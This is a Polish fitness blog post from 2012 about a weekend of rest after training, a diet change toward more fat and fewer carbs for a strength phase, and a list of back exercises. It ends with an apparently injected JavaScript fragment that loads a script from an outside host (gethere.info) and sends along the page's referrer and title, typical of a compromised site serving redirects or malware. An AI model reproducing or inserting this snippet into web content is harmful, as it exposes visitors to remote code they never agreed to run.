Weekendowy odpoczynek

29.07.2012 / Michał Karmowski / Kulturystyka

Po całym tygodniu ciężkich treningów przyszedł czas na weekendowy odpoczynek…., była plaża , steki, a także owocowe drinki w „Hainekenie”:-) . Jutro rano po śniadaniu idę trenować klatkę i barki. Wprowadzam także modyfikacje w diecie tzn, obetnę trochę węgli na rzecz tłuszczu ponieważ przez najbliższe dwa tygodnie będę budował siłę a treningi mimo zakresu powtórzeń 6-8 będą krótkie i mniej objętościowe jak było do tej pory.Dlatego właśnie nie potrzebuję tak dużych ilości węgli jak do tej pory.

Sobotni trening pleców:

-ściąganie drążka górnego wyciągu do klatki chwyt szeroki

-ściąganie uchwytów górnego wyciągu do mostka

-wiosłowanie gryfem

-wyprosty na ławce rzymskiej

-ścąaganie uchwytów do brzucha siedząc

-tył barków na maszynie pec-dec

-szrugsy ma maszynie smitha

„owocowe drinki”…s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;